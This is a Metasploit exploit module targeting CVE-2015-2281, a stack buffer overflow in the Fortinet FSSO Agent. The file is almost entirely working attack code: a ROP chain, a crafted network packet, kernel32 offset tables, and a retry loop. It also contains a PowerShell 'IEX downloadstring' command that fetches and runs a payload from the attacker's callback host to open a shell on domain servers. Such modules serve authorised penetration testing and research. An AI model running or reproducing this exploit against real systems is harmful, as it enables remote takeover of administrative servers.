##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/exploit/powershell'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Powershell

  def initialize(info = {})
    super(update_info(info, {
      'Name' => 'Fortinet FSSO Stack Buffer Overflow',
      'Description' => %q{
          This module exploits a stack buffer overflow on the Fortinet FSSO Agent using
          the Fortgate protocol on TCP port 8000. This agent often runs with 
          administrative privileges on a domain controller or member server.

          Tested with versions 4.3.0124 through 4.3.0143 running on Windows Server 2008
          R2 SP1 and Windows Server 2012 R2.
          
          If the version of Windows being targeted is not on the kernel32_versions list,
          you can calculate the offset manually. Use pedump (Ruby gem) to export the
          address of WinExec and GetTimeZoneInformation, then take the WinExec address
          and subtract the address of GetTimeZoneInformation. Finally, perform a binary
          1s compliment. This is the "magic value" (delta) that should be used in the
          ROP chain.
          
          The service will automatically restarts if it crashes, so you get as many tries
          as you need to get a shell.
      },
      'License'    => MSF_LICENSE,
      'Author'     => [ 
          'phikshun', # wrote Poc exploit
          'Enrique Nissim' # original discovery
        ],
      'References' =>
        [
          ['CVE', '2015-2281'],
          ['URL', 'https://blog.coresecurity.com/2015/03/18/analysis-of-a-remote-code-execution-vulnerability-on-fortinet-single-sign-on/'],
          ['URL', 'http://www.coresecurity.com/advisories/fortinet-single-sign-on-stack-overflow']
        ],
      'Platform'   => 'win',
      'Targets' =>
        [
          [ 'Automatic', { 'Arch' => ARCH_X86 } ]
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Mar 29 2015'
    }))

    register_options(
      [
        Opt::RPORT(8000),
        OptString.new('URIPATH', [false, 'Callback URL', '/p'])
      ], self.class
    )
    
    register_advanced_options(
      [
        OptString.new('PSH_URL', [false, 'Alternate URL to use for powershell download']),
        OptString.new('KERNEL32_VER', [false, 'SysWow64/kernel32.dll version'])
      ], self.class
    )
  end
  
  def on_request_uri(cli, request)
    print_status("Delivering Payload")

    psh = Msf::Util::EXE.to_win32pe_psh_net(framework, payload.encoded)
    send_response(cli, psh, { 'Content-Type' => 'application/octet-stream' })
  end

  def send_exploit(url, delta)
    rop_gadgets =
      [
        # nopsled
        0x10020d84,  # RETN (ROP NOP) [SSLEAY32.dll]
        0x10020d84,  # RETN (ROP NOP) [SSLEAY32.dll]

        # esi = get ptr to winexec
        0x1003800f,  # POP EBP # RETN
        0xffffffff,  # -1
        0x100274a8,  # XOR EAX,EAX # RETN
        0x10037fe4,  # MUL ECX # RETN 0x10
        0x10020d84,  # RETN (ROP NOP) [SSLEAY32.dll]
        0x10020d84,  # RETN (ROP NOP) [SSLEAY32.dll]
        0x10020d84,  # RETN (ROP NOP) [SSLEAY32.dll]
        0x10020d84,  # RETN (ROP NOP) [SSLEAY32.dll]
        0x10020d84,  # RETN (ROP NOP) [SSLEAY32.dll]

        0x10033d87,  # POP EAX # RETN [SSLEAY32.dll]
        0x100390e8,  # SSLEAY32.dll - IAT 0x100390e8 : kernel32.GetTimeZoneInformation
        0x100297f4,  # ADD EDX,DWORD PTR DS:[EAX] # RETN

        0x10033d87,  # POP EAX # RETN [SSLEAY32.dll]
        delta,       # 2's compliment of (&WinExec - &GetTimeZoneInformation)
        0x10012d62,  # NEG EAX # RETN
        0x100104c3,  # LEA EBX,DWORD PTR DS:[EAX] # ADD EAX,C0331001 # RETN
        0x10037ffe,  # ADD EDX,EBX # POP EBX # RETN 0x10
        0x10020d84,  # RETN (ROP NOP) [SSLEAY32.dll]
        0x10020d84,  # RETN (ROP NOP) [SSLEAY32.dll]
        0x10020d84,  # RETN (ROP NOP) [SSLEAY32.dll]
        0x10020d84,  # RETN (ROP NOP) [SSLEAY32.dll]
        0x10020d84,  # RETN (ROP NOP) [SSLEAY32.dll]
        0x10020d84,  # RETN (ROP NOP) [SSLEAY32.dll]

        0x10033d87,  # POP EAX # RETN [SSLEAY32.dll]
        0x10045020,  # random writeable address
        0x10012a36,  # LEA ESI,DWORD PTR DS:[EDX+EBP+1] # ADC BYTE PTR DS:[EAX+30],BH # RETN

        # edi = rop nop
        0x10020d83,  # POP EDI # RETN [SSLEAY32.dll]
        0x10020d84,  # RETN (ROP NOP) [SSLEAY32.dll]

        # go!
        0x10022e04,  # PUSHAD # RETN [SSLEAY32.dll]
      ].flatten.pack("V*")

    # winexec payload
    cmd = "powershell -c IEX(new-object net.webclient).downloadstring('#{url}')#"
    
    exploit  = "A" * 96 + rop_gadgets + cmd
    exploit += "B" * (475 - exploit.length)
    
    buf = 
      "\x80\x06\x00\x00\x00\x0a\x01\x03\x00\x00\x00\x01" +
      "\x00\x00\x00\x0a\x10\x03\x00\x00\x00\x20\x00\x00\x00\x16\x11\x01" +
      "\x76\x35\x2e\x30\x2e\x32\x34\x32\x2d\x30\x32\x34\x32\x00\x00\x00" +
      [exploit.length + 6].pack('N') + "\x13\x01" + exploit +
      "\x00\x00\x00\x16\x12\x01\x37\xfa\x30\x27\x21\x19\x16\xfe\xfa\x07\x92\xe2\xfa" +
      "\x04\xc5\xc8"
    
    buf = [buf.length + 4].pack('N') + buf
    
    connect
    sock.put(buf)
    Rex::ThreadSafe.sleep(1.0)
    disconnect
  end
  
  def get_callback_url
    url  = (datastore['SSL'] ? 'https://' : 'http://')
    url += (datastore['PSH_URL'] || datastore['LHOST'] || datastore['SRVHOST'])
    url += ((datastore['SRVPORT'] == 80 && !datastore['SSL']) ||
            (datastore['SRVPORT'] == 443 && datastore['SSL']) ? '' : ":#{datastore['SRVPORT']}" )
    url += datastore['URIPATH']
  end

  def exploit
    url = get_callback_url

    if url.include? '0.0.0.0'
      print_error "URL contains 0.0.0.0 - not a valid callback IP"
      return
    end

    print_status("#{rhost}:#{rport} - Starting up web callback on #{url}")
    start_service({'Uri' => {
      'Proc' => Proc.new { |cli, req|
        on_request_uri(cli, req)
      },
      'Path' => datastore['URIPATH']
    }})

    kernel32_versions = {
      # manually generated
      '6.3.9600.17415_en'   => 0xfffd6150,
      '6.3.9600.17056_en'   => 0xfffda633,
      '6.3.9600.17031_en'   => 0xfffda674,

      # auto-generated
      '6.1.7601.22653_en.a' => 0xfff81491,
      '6.1.7601.21772_en.a' => 0xfff819d1,
      '6.1.7601.18409_en.a' => 0xfff81631,
      '6.1.7601.18229_en.a' => 0xfff819a9,
      '6.1.7601.18015_en.a' => 0xfff819b1,
      '6.1.7601.17651_en.a' => 0xfff81a09,
      '6.1.7601.17514_en.a' => 0xfff81a39,
      '6.1.7600.16385_en.b' => 0xfff891db,
      '6.1.7600.16385_en.a' => 0xfffafef3,
      '6.0.6002.22988_en.a' => 0xfff939ac,
      '6.0.6002.22942_en.a' => 0xfff939c4,
      '6.0.6002.22625_en.a' => 0xfff92b64,
      '6.0.6002.19034_en.a' => 0xfff9bdd4,
      '6.0.6002.18740_en.a' => 0xfff927e4,
      '6.0.6002.18704_en.a' => 0xfff9280c,
      '6.0.6002.18449_en.a' => 0xfff913ac,
      '6.0.6002.18005_en.a' => 0xfffaaac0,
      '6.0.6002.18005_en.b' => 0xfff931c4,
      '6.0.6001.22898_en.a' => 0xfff8f35c,
      '6.0.6001.22376_en.a' => 0xfffab7b4,
      '6.0.6001.18631_en.a' => 0xfff93f84,
      '6.0.6001.18215_en.b' => 0xfff93fc4,
      '6.0.6001.18215_en.a' => 0xfffac110,
      '6.0.6001.18000_en.a' => 0xfffac228,
      '6.0.6001.18000_en.b' => 0xfff9345c,
      '5.2.3790.5295_en.b'  => 0xfffba135,
      '5.2.3790.5295_en.a'  => 0xfffd0505,
      '5.2.3790.5069_en.a'  => 0xfffbb93c,
      '5.2.3790.4480_en.c'  => 0xfffba884,
      '5.2.3790.4480_en.a'  => 0xfffbba2c,
      '5.2.3790.4062_en.a'  => 0xfffbbb64,
      '5.2.3790.3959_es.a'  => 0xfffbbb5c
    }

    handler

    kernel32_versions.each_pair do |version, delta|
      if !datastore['KERNEL32_VER'] || version.include?(datastore['KERNEL32_VER'])
        print_status "#{rhost}:#{rport} - Trying kernel32.dll version #{version} with delta 0x#{"%08x" % delta}"
        send_exploit(url, delta)

        print_status "Waiting 5 seconds for service to respawn"
        Rex::ThreadSafe.sleep(5)
        break if session_created?
      else
        print_status "Skipping kernel32.dll version #{version} (not matched)"
      end
    end
  end
end